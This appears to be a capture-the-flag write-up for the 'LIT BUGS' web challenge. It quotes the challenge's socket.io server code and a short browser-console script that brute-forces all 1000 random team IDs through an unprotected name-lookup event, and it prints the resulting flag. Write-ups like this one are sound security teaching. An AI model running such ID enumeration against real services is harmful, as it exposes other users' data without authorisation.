# web/LIT BUGS (92 solves / 129 points)## DescriptionLast year’s LIT platform may or may not have had some security vulnerabilities. We have created a simplified version of last year’s platform called LIT BUGS (Lexington Informatics Tournament’s Big Unsafe Grading System). The flag is the team name of the only registered user. Visit LIT BUGS [here](http://websites.litctf.live:8000/)Downloads:[LIT Bugs.zip](https://drive.google.com/uc?export=download&id=1KH4xaRabJVIFFfmNKxep5ZLFH24muqHy)
## Solution:When I clicked the link the description I was presented with a website that looks a lot like the current ctf website. This website has only a home page, a register page, a login page, and a contest page. After analyzing the source code given, I found that the website uses websockets for the register and login functions. In addition to this, there is also an endpoint that returns a teams name when given their ID.
Relevant code: 
	io.on('connection',(socket) => {		socket.on('login',(tn,pwd) => {			if(accounts[tn] == undefined || accounts[tn]["password"] != md5(pwd)) {				socket.emit("loginRes",false,-3);				return;			}			socket.emit("loginRes",true,accounts[tn]["rand_id"]);			return;		});
		socket.on('reqName',(rand_id) => {			name = id2Name[parseInt(rand_id)];			socket.emit("reqNameRes",name);		});
		socket.on('register',(tn,pwd) => {			if(accounts[tn] != undefined) {				socket.emit("regRes",false,-1);				return;			}			if(Object.keys(accounts).length >= 500) {				socket.emit("regRes",false,-2);				return;			}			var rand_id = Math.floor(Math.random() * 1000);			while(id2Name[rand_id] != undefined) {				rand_id = Math.floor(Math.random() * 1000);			}			accounts[tn] = {				"password": md5(pwd),				"rand_id": rand_id			};			id2Name[rand_id] = tn;			socket.emit("regRes",true,rand_id);		});	});
As you can see from this code, ID's are generated by taking a random number from 1 to 1000. With only 1000 possible ID's, this is well within bruteforcing range. The endpoint that allows name lookup based on ID's should be vulnerable to a bruteforce attack, as the flag is the name of a team. I made a short JS script to run in my browser's JS console which bruteforced all 1000 ID's:socket.on("reqNameRes",(name)=>{	console.log(name)});for(var i = 0;i<1000;i++){	socket.emit("reqName",i)}This worked, and after looking through the results, I found the following flag:
## Flagflag{if_y0u_d1d_not_brut3force_ids_plea5e_c0ntact_codetiger}